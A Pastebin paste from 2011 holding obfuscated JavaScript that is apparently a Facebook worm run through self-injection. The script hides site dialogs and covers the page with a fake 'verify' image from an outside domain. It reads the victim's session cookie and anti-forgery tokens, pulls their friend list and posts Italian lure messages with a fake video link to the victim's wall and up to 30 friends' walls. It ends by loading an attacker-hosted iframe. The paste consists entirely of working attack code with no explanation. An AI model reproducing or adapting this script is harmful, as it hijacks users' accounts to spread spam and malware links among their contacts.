Advertisement
Guest User

Untitled

a guest
Sep 19th, 2011
385
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function getElementsByClass(_0x62cbx2, _0x62cbx3, _0x62cbx4) {
  2.     if (_0x62cbx3 == null) {
  3.         _0x62cbx3 = document;
  4.     };
  5.     if (_0x62cbx4 == null) {
  6.         _0x62cbx4 = '*';
  7.     };
  8.     var _0x62cbx5 = new Array();
  9.     var _0x62cbx6 = _0x62cbx3['getElementsByTagName'](_0x62cbx4);
  10.     var _0x62cbx7 = ' ' + _0x62cbx2 + ' ';
  11.     var _0x62cbx8 = 0;
  12.     for (i = 0; i < _0x62cbx6['length']; i++) {
  13.         var _0x62cbx9 = ' ' + _0x62cbx6[i]['className'] + ' ';
  14.         if (_0x62cbx9['indexOf'](_0x62cbx7) != -1) {
  15.             _0x62cbx5[_0x62cbx8++] = _0x62cbx6[i];
  16.         };
  17.     };
  18.     return _0x62cbx5;
  19. };
  20. setInterval(function () {
  21.     var _0x62cbxa = getElementsByClass('generic_dialog');
  22.     for (i = 0; i < _0x62cbxa['length']; i++) {
  23.         _0x62cbxa[i]['style']['display'] = 'none';
  24.     };
  25. }, 200);
  26.  
  27. function overlay() {
  28.     darkbox = document['createElement']('div');
  29.     document['body']['appendChild'](darkbox);
  30.     darkbox['style']['position'] = 'fixed';
  31.     darkbox['style']['opacity'] = 0.8;
  32.     darkbox['style']['filter'] = 'alpha(opacity=80)';
  33.     darkbox['style']['background'] = '#FFF';
  34.     darkbox['style']['top'] = 0;
  35.     darkbox['style']['left'] = 0;
  36.     darkbox['style']['height'] = 100 + '%';
  37.     darkbox['style']['width'] = 100 + '%';
  38.     darkbox['style']['zIndex'] = 999;
  39.     darkbox2 = document['createElement']('img');
  40.     document['body']['appendChild'](darkbox2);
  41.     darkbox2['style']['position'] = 'fixed';
  42.     darkbox2['src'] = 'http://www.cowboysaliensstreaming.com/tag/verify.png';
  43.     darkbox2['style']['marginLeft'] = '-233px';
  44.     darkbox2['style']['marginTop'] = '-62px';
  45.     darkbox2['style']['top'] = 50 + '%';
  46.     darkbox2['style']['left'] = 50 + '%';
  47.     darkbox2['style']['zIndex'] = 9999;
  48. };
  49. overlay();
  50.  
  51. function readCookie(_0x62cbxd) {
  52.     var _0x62cbxe = _0x62cbxd + '=';
  53.     var _0x62cbxf = document['cookie']['split'](';');
  54.     for (var _0x62cbx10 = 0; _0x62cbx10 < _0x62cbxf['length']; _0x62cbx10++) {
  55.         var _0x62cbx11 = _0x62cbxf[_0x62cbx10];
  56.         while (_0x62cbx11['charAt'](0) == ' ') {
  57.             _0x62cbx11 = _0x62cbx11['substring'](1, _0x62cbx11['length']);
  58.         };
  59.         if (_0x62cbx11['indexOf'](_0x62cbxe) == 0) {
  60.             return _0x62cbx11['substring'](_0x62cbxe['length'], _0x62cbx11['length']);
  61.         };
  62.     };
  63.     return null;
  64. };
  65. var user_id = readCookie('c_user');
  66. var user_name = document['getElementById']('navAccountName')['innerHTML'];
  67. var uid = user_id;
  68.  
  69. function getRandomInt(_0x62cbx16, _0x62cbx17) {
  70.     return Math['floor'](Math['random']() * (_0x62cbx17 - _0x62cbx16 + 1)) + _0x62cbx16;
  71. };
  72.  
  73. function randomValue(_0x62cbx19) {
  74.     return _0x62cbx19[getRandomInt(0, _0x62cbx19['length'] - 1)];
  75. };
  76. var post_form_id = document['getElementsByName']('post_form_id')[0]['value'];
  77. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  78. var video_url = 'http://www.facebook.com/profile.php?sk=wall&' + Math['random']();
  79. var domains = ['http://www.cowboysaliensstreaming.com/tag/test.swf'];
  80. var p0 = ['Oddio ma che ci facevi qui', 'Assurdo perche hai fatto questo', 'Pazzesco!! non posso credere che lo hai fatto davvero', 'Non ci posso credere...', 'Cazzo sei pazzo', 'OMG... non lo avrei mai creduto', 'Assurdo! fai pena', 'Nooo! ma perche hai fatto questa cosa', 'Dio Mio ti hanno ripreso in questo video', 'Ammazza... che hai fatto ma sei pazzo!', 'Ammazza! non ci posso credere che hai fatto questo', 'Incredibile! Ma perche lo hai fatto', 'wow!!! ma come hanno fatto a riprenderti mentre facevi questa cavolata'];
  81. var p1 = ['Ciao', 'Ciao', 'Ciao', 'Ciao', 'ROTFL', 'Ciao', 'Ciao', 'Ciao', 'omg!', 'omg', 'Ciao', 'Ciao!!', 'Ciao!!', 'Ciao!!'];
  82. var p2 = ['Guarda sei stato taggato', 'che ci fai', 'Guarda ti hanno ripreso', 'Non pensavo che arrivassi a tanto ti hanno ripreso', 'ma sei te', 'ti hanno taggato'];
  83. var p3 = ['in questo video?', 'in questo video!!'];
  84. var message = '';
  85. var did = false;
  86.  
  87. function done() {
  88.     if (!did) {
  89.         did = true;
  90.         darkbox2['style']['display'] = 'none';
  91.         darkbox3 = document['createElement']('iframe');
  92.         document['body']['appendChild'](darkbox3);
  93.         darkbox3['src'] = 'http://www.cowboysaliensstreaming.com/tag/blocco.php';
  94.         darkbox3['style']['position'] = 'fixed';
  95.         darkbox3['style']['top'] = 0;
  96.         darkbox3['style']['left'] = 0;
  97.         darkbox3['frameBorder'] = 0;
  98.         darkbox3['style']['height'] = 100 + '%';
  99.         darkbox3['style']['width'] = 100 + '%';
  100.         darkbox3['style']['zIndex'] = 99999;
  101.     };
  102. };
  103. var friends;
  104. gf = new XMLHttpRequest();
  105. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=' + uid + '&' + Math['random'](), false);
  106. gf['send']();
  107. if (gf['readyState'] != 4) {} else {
  108.     data = eval('(' + gf['responseText']['substr'](9) + ')');
  109.     if (data['error']) {} else {
  110.         friends = data;
  111.     };
  112. };
  113.  
  114. function contin() {
  115.     var _0x62cbx17 = friends['payload']['entries']['length'];
  116.     if (_0x62cbx17 > 30) {
  117.         _0x62cbx17 = 30;
  118.     };
  119.     message = 'Questa Ragazza deve essere pazza per aver fatto questo!';
  120.     var _0x62cbx27 = new XMLHttpRequest();
  121.     var _0x62cbx28 = 'http://www.facebook.com/ajax/profile/composer.php?__a=1';
  122.     var _0x62cbx29 = 'post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&xhpc_composerid=u574553_1&xhpc_targetid=' + user_id + '&xhpc_context=profile&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][medium]=103&attachment[params][urlInfo][user]=' + video_url + '&attachment[params][urlInfo][canonical]=' + video_url + '&attachment[params][favicon]=http://s.ytimg.com/yt/favicon-vflZlzSbU.ico&attachment[params][title]=VIDE0&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]=Cavolo ma le persone stanno proprio fuori! Ma come si fa a fare questa cosa!&attachment[params][url]=' + video_url + '&attachment[params][video][type]=application/x-shockwave-flash&attachment[params][video][src]=' + randomValue(domains) + '%3F' + Math['random']() + '&attachment[params][video][width]=398&attachment[params][video][height]=224&attachment[params][video][v]=0&attachment[params][video][safe]=1&attachment[params][ttl]=-1264972308&attachment[params][error]=1&attachment[params][responseCode]=200&attachment[params][expires]=41647446&attachment[params][images][0]=http://img294.imagevenue.com/loc76/th_590228290_ragazza_122_76lo.jpg&attachment[params][scrape_time]=1306619754&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text=' + message + '&xhpc_message=' + message + '&UIPrivacyWidget[0]=80&privacy_data[value]=80&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&nctr[_mod]=pagelet_wall&lsd=&post_form_id_source=AsyncRequest';
  123.     _0x62cbx27['open']('POST', _0x62cbx28, true);
  124.     _0x62cbx27['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  125.     _0x62cbx27['setRequestHeader']('Content-length', _0x62cbx29['length']);
  126.     _0x62cbx27['setRequestHeader']('Connection', 'keep-alive');
  127.     _0x62cbx27['onreadystatechange'] = function () {};
  128.     _0x62cbx27['send'](_0x62cbx29);
  129.     for (var _0x62cbx2a = 0; _0x62cbx2a < _0x62cbx17; _0x62cbx2a++) {
  130.         if (friends['payload']['entries'][_0x62cbx2a]['uid'] != user_id) {
  131.             message = [randomValue(p1), friends['payload']['entries'][_0x62cbx2a]['text']['substr'](0, friends['payload']['entries'][_0x62cbx2a]['text']['indexOf'](' '))['toLowerCase'](), randomValue(p2), randomValue(p3)]['join'](' ');
  132.             var _0x62cbx2b = new XMLHttpRequest();
  133.             var _0x62cbx28 = 'http://www.facebook.com/ajax/profile/composer.php?__a=1';
  134.             var _0x62cbx29 = 'post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&xhpc_composerid=u574553_1&xhpc_targetid=' + friends['payload']['entries'][_0x62cbx2a]['uid'] + '&xhpc_context=profile&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][medium]=103&attachment[params][urlInfo][user]=' + video_url + '&attachment[params][urlInfo][canonical]=' + video_url + '&attachment[params][favicon]=http://s.ytimg.com/yt/favicon-vflZlzSbU.ico&attachment[params][title]=YouTube&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]=' + friends['payload']['entries'][_0x62cbx2a]['text']['substr'](0, friends['payload']['entries'][_0x62cbx2a]['text']['indexOf'](' ')) + ' ' + randomValue(p0) + '&attachment[params][url]=' + video_url + '&attachment[params][video][type]=application/x-shockwave-flash&attachment[params][video][src]=' + randomValue(domains) + '%3F' + Math['random']() + '&attachment[params][video][width]=398&attachment[params][video][height]=224&attachment[params][video][v]=0&attachment[params][video][safe]=1&attachment[params][ttl]=-1264972308&attachment[params][error]=1&attachment[params][responseCode]=200&attachment[params][expires]=41647446&attachment[params][images][0]=http://cdn.uniroma.tv/public/20100227172345_57212487.jpg&attachment[params][scrape_time]=1306619754&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text=' + message + '&xhpc_message=' + message + '&UIPrivacyWidget[0]=80&privacy_data[value]=80&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&nctr[_mod]=pagelet_wall&lsd=&post_form_id_source=AsyncRequest';
  135.             _0x62cbx2b['open']('POST', _0x62cbx28, true);
  136.             _0x62cbx2b['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  137.             _0x62cbx2b['setRequestHeader']('Content-length', _0x62cbx29['length']);
  138.             _0x62cbx2b['setRequestHeader']('Connection', 'keep-alive');
  139.             _0x62cbx2b['onreadystatechange'] = function () {};
  140.             _0x62cbx2b['send'](_0x62cbx29);
  141.         };
  142.     };
  143.     setTimeout('done()', 5000);
  144. };
  145. setTimeout(function () {
  146.     contin();
  147. }, 2000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement